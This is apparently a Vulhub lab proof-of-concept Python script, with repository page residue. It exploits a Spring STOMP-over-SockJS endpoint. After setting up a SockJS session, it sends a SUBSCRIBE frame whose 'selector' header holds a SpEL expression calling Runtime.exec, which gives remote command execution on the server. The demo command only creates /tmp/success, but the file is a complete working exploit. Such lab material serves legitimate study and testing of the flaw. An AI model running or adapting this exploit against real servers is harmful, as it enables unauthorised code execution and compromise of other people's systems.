Aaron
63285f61aa
Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled
75 lines
2.0 KiB
Python
75 lines
2.0 KiB
Python
#!/usr/bin/env python3
|
|
import requests
|
|
import random
|
|
import string
|
|
import time
|
|
import threading
|
|
import logging
|
|
import sys
|
|
import json
|
|
|
|
logging.basicConfig(stream=sys.stdout, level=logging.INFO)
|
|
|
|
def random_str(length):
|
|
letters = string.ascii_lowercase + string.digits
|
|
return ''.join(random.choice(letters) for c in range(length))
|
|
|
|
|
|
class SockJS(threading.Thread):
|
|
def __init__(self, url, *args, **kwargs):
|
|
super().__init__(*args, **kwargs)
|
|
self.base = f'{url}/{random.randint(0, 1000)}/{random_str(8)}'
|
|
self.daemon = True
|
|
self.session = requests.session()
|
|
self.session.headers = {
|
|
'Referer': url,
|
|
'User-Agent': 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)'
|
|
}
|
|
self.t = int(time.time()*1000)
|
|
|
|
def run(self):
|
|
url = f'{self.base}/htmlfile?c=_jp.vulhub'
|
|
response = self.session.get(url, stream=True)
|
|
for line in response.iter_lines():
|
|
time.sleep(0.5)
|
|
|
|
def send(self, command, headers, body=''):
|
|
data = [command.upper(), '\n']
|
|
|
|
data.append('\n'.join([f'{k}:{v}' for k, v in headers.items()]))
|
|
|
|
data.append('\n\n')
|
|
data.append(body)
|
|
data.append('\x00')
|
|
data = json.dumps([''.join(data)])
|
|
|
|
response = self.session.post(f'{self.base}/xhr_send?t={self.t}', data=data)
|
|
if response.status_code != 204:
|
|
logging.info(f"send '{command}' data error.")
|
|
else:
|
|
logging.info(f"send '{command}' data success.")
|
|
|
|
def __del__(self):
|
|
self.session.close()
|
|
|
|
|
|
sockjs = SockJS('http://your-ip:8080/gs-guide-websocket')
|
|
sockjs.start()
|
|
time.sleep(1)
|
|
|
|
sockjs.send('connect', {
|
|
'accept-version': '1.1,1.0',
|
|
'heart-beat': '10000,10000'
|
|
})
|
|
sockjs.send('subscribe', {
|
|
'selector': "T(java.lang.Runtime).getRuntime().exec('touch /tmp/success')",
|
|
'id': 'sub-0',
|
|
'destination': '/topic/greetings'
|
|
})
|
|
|
|
data = json.dumps({'name': 'vulhub'})
|
|
sockjs.send('send', {
|
|
'content-length': len(data),
|
|
'destination': '/app/hello'
|
|
}, data)
|